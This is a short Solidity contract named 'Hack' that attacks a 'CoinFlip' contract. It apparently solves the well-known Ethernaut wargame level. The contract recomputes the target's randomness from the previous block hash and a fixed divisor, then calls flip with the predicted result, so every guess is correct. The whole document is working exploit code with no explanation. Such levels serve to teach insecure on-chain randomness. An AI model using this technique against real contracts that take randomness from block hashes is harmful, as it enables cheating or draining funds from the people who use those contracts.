contract Hack {
    CoinFlip private immutable target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;


    constructor (address _target) {
        target = CoinFlip(_target);
    }

    function flip() external {
        bool guess = _guess();
        require(target.flip(guess),"guess failed");
    }

    function _guess() private view returns(bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}